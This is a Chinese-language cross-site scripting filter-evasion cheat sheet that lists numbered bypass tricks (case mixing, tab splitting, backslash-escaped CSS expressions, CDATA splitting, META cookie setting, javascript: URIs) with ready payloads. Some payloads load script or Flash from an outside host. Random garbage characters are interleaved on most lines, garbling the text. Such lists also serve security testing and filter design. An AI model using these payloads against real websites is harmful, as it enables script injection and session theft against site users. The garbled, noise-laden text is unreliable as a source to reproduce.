1. 改变字符大小写
4 t& J" K3 L( s$ ]" O: b& B5 S
1 s6 r1 h% s8 ?2 {/ p5 O
% T7 r$ _1 H0 H' X8 C4 a; [; i/ }9 v4 |7 n* p) j5 V/ @
<sCript>alert(‘d’)</scRipT>
- R9 Q* Q G$ V$ `" v' H; {% o( k, e3 F) b- N7 |& Q
2. 利用多加一些其它字符来规避Regular Expression的检查
" D6 [& C2 `& Q3 }
k0 u7 z/ D& U <<script>alert(‘c’)//<</script>& l1 v6 z% p* Y; c3 i% [
; p, M( N8 t5 [6 L& ?: F, _ <SCRIPT a=">" SRC="t.js"></SCRIPT>+ y7 {* o: R9 ~! R1 l6 E
- X; p# {. l. n' U* p/ C1 e. }" K <SCRIPT =">" SRC="t.js"></SCRIPT>4 w1 o# c' [) W/ U
% [" `. o# S. h <SCRIPT a=">" ” SRC="t.js"></SCRIPT>& ]$ k* U, z9 T
3 }4 d2 Y$ {0 I" V- } <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
( _8 d; X7 ^9 @0 I
6 J& C, Z( b: r) Q# a <SCRIPT a=`>` SRC="t.js"></SCRIPT>
: G* |5 @) z F3 ]) ?
+ h4 j; D1 y, [: o$ U. a <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
' s7 L: ^& `5 d: x1 H3 z k
0 J- m* U ~/ s4 O* Q; c3. 以其它扩展名取代.js
1 y( a6 s4 k3 a' X0 B' P
4 {( k. X* |( B s <script src="bad.jpg"></script>
$ s( U$ G4 K, B1 K5 h5 P9 ~/ @3 i4 F2 x- E) l4 F9 p
4. 将Javascript写在CSS档里) b$ v4 `3 S6 ^! W, _
3 H$ K3 Z5 c; T- l* b
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">/ B7 M1 @& z7 t) w) }
" w C2 s5 W3 K3 z: q" x% b
example:
0 @' [- u$ x( C d! D( f6 C' t) [9 z
body {7 Q. u. d! L7 _8 K; V$ V! o# b
! V$ k: t& W: I8 f: ?4 i background-image: url(‘javascript:alert("XSS");’)- Y- o6 m6 u* F
' F$ ? G* ]" F4 Y% [( V# b3 q8 Z }
. \8 Y6 B) x N' z) [5 G) b; q- o a; H* c9 G
5. 在script的tag里加入一些其它字符
3 q2 d/ U5 h8 z2 Z2 f" Y2 ?/ ?) }5 p' u! E
<SCRIPT/SRC="t.js"></SCRIPT>$ I2 Z( p, i6 c0 F
+ H0 |8 `0 C0 W7 q) F; a <SCRIPT/anyword SRC="t.js"></SCRIPT>
: b4 \6 l4 h( u4 ?) x
. T. z' p- \8 K: n: Q6. 使用tab或是new line来规避" @- `6 P. v- H% }/ ] C
4 W) N. M1 r0 G% Z" g# c: O9 s
<img src="jav ascr ipt:alert(‘XSS3′)">
) P, A6 g1 ` @% M3 f7 X6 t: y( r' t/ E2 a F2 y% p3 M
<img src="jav ascr ipt:alert(‘XSS3′)">" A/ W }, Q. `* f' V0 p
! S" {+ O3 Q% W- }* m1 Z <IMG SRC="jav ascript:alert(‘XSS’);">5 G8 m( T) W1 T0 }2 t
3 |: |6 D1 }7 S* c, `
-> tag; U& ?+ @0 E2 t- f
8 E: ^4 A b" ~& q -> new line
& f+ T9 ~: I; b- Z; F
+ K0 x( y# _1 _( }7. 使用"\"来规避9 o7 N/ H% F' g# t* A/ T$ s) y
' @% U# o q0 n3 m) V. v0 a* F
<STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>! |; _( g6 e8 f, B
6 I( ~) |* @6 t( K
<IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>
$ K' ?) v( V0 {7 m% {+ m# O$ V! e# [: y, `+ e4 Z, W" X( a) l y* {" d
<IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">
: R2 T) Z, y% q' I: o
* I/ P2 r' \0 b3 k t2 c <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">- ?1 w' D) z( C6 ?
$ c ?- C; z# _0 W R% r/ ^6 \/ T
<A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>
5 d" J/ D9 ?8 k4 I( _$ H0 X r
+ _; M7 E5 R. p9 ^8. 使用Hex encode来规避(也可能会把";"拿掉)3 \! i% ?# O8 F, a- Q
0 c. Y0 D3 n- n# i: w <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">" [) V; P- p2 ] i: e$ P
, N" R2 }/ }0 d! F, y. ^/ o, J
原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">+ l& H% m/ h W: R- E# t
- k! N: ?7 Q- H8 K* h# I <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
: s6 R. {0 K( y% r- A2 T
/ V# `, d. d ^* ~2 x 原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
- |' @8 }4 S0 d' u" v% w6 U) a" ]) |5 R
9. script in HTML tag
0 D. T- @8 c6 D; a1 b1 j) a% n Z( B: i' L0 }6 j
<body onload=」alert(‘onload’)」>
! O( H& Q3 {6 Y- U0 ~: e& V" g+ p1 _' V7 D8 A
onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload
s7 A5 W% g& U5 V* j; o3 y! l: A" U, W5 Y5 h8 x# G4 L
10. 在swf里含有xss的code6 t4 _7 v% ^3 l( L4 e+ D: V+ p
0 f1 I- w y& Z: B, j
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>' u& \, k6 t0 t/ |' I: D
1 a; y7 T* U4 Z4 A2 d6 {- O
11. 利用CDATA将xss的code拆开,再组合起来。4 R, ?& K7 s! m& I! m# w
* n# r! L! U9 x; c. e
<XML ID=I><X><C>
9 V) x, P7 v$ Q' D7 }
Q; j% J) k7 Y' d8 W' f, d <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>( f: Y. ?! B3 j* Z$ q3 O
5 ?6 M+ o+ f: G; a
</C></X>
$ U( V g+ ^9 y
1 i' I! ~. ]4 e9 K# s) G1 h </xml>) `- x5 s- p% ]
. s" g7 c0 b. ` q- }! m <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>6 ^* S/ S6 T$ d9 z+ o
, R( o: y0 e# g6 L <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>8 w" W- r/ Z7 S0 _3 U
' g; P7 Y- ?1 s7 y8 l* l <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
8 L4 V: A' t: _# U2 c* R/ @6 n; B- h# P5 D3 A# h( q& r# _" R+ R
12. 利用HTML+TIME。9 H# F8 h4 x# M4 z0 Q
' ]! D2 V2 n3 O3 q# r+ P& O: } <HTML><BODY>
1 Y8 ^* Z- Q- b5 m" c r3 {% e0 e; h
, A4 X4 F; Z- M9 |1 Z+ J' ~" N <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">' S5 }1 l! n" [1 Q g( @% y
. H+ S9 s8 p' b3 M& B1 D- t" W
<?import namespace="t" implementation="#default#time2">. ]5 O5 f' N( [9 s0 q! E+ ^
3 C6 E2 X9 V" d
<t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">
2 U, v) c' k6 v$ d8 s
* q" X5 U2 M- c% X8 U </BODY></HTML>$ ~3 m# p# f8 x1 h! Y0 J
6 Y; ?# t2 w1 y& a( J' w9 U
13. 透过META写入Cookie。- v) Y( ]0 @. J7 t
4 f; x: L6 @! M. \0 t- J6 X- F
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
5 S; b* k4 x$ D5 H
2 E2 _/ h! H4 S% y, g9 G* T14. javascript in src , href , url
2 G( p' Z0 T( s- a
1 n" ^9 r/ m% y3 n <IFRAME SRC=javascript:alert(’13′)></IFRAME>
; O; Q# N+ e+ K7 T9 H' r, r- t& U9 C1 X- \+ Z7 O. t9 l6 e% K
<img src="javascript:alert(‘XSS3′)">5 L2 M6 \ l3 r; Y7 m$ F
" b3 G: L9 U6 m<IMG DYNSRC="javascript:alert(‘XSS20′)">* Y' J- S3 M4 b! R7 V/ }2 j
* o2 p) k2 Y0 c, n
<IMG LOWSRC="javascript:alert(‘XSS21′)">/ Q0 c$ L7 e% M
0 x, S5 \$ \6 @$ ]* l. b
<LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
/ Z2 f! l. {; }% d
# n$ v5 ^6 s' ?8 d0 B5 G& H, A <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>5 B) N- r* f0 q- W0 e
% W/ b3 c# `5 h! [+ P
<TABLE BACKGROUND="javascript:alert(‘XSS29′)">- l; G0 a4 V6 V
, T6 l; r. T; E0 D. z) w8 x4 j
<DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">( R Q! W6 o0 j0 P6 _" ^7 o
% H. [# D0 q* r0 U7 G8 a/ T <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
7 O. P( A _: S( X/ l9 P' }- t/ k
/ @) n8 v( n- s& L5 k- ^# s </STYLE><A CLASS=XSS></A>
1 F ]+ G) F( ?
/ Z2 H- m% C- ^! |5 Q <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>0 M# L! j* p I# Z' M; L
4 x' ]+ {, O6 s2 z; X8 k+ L9 v |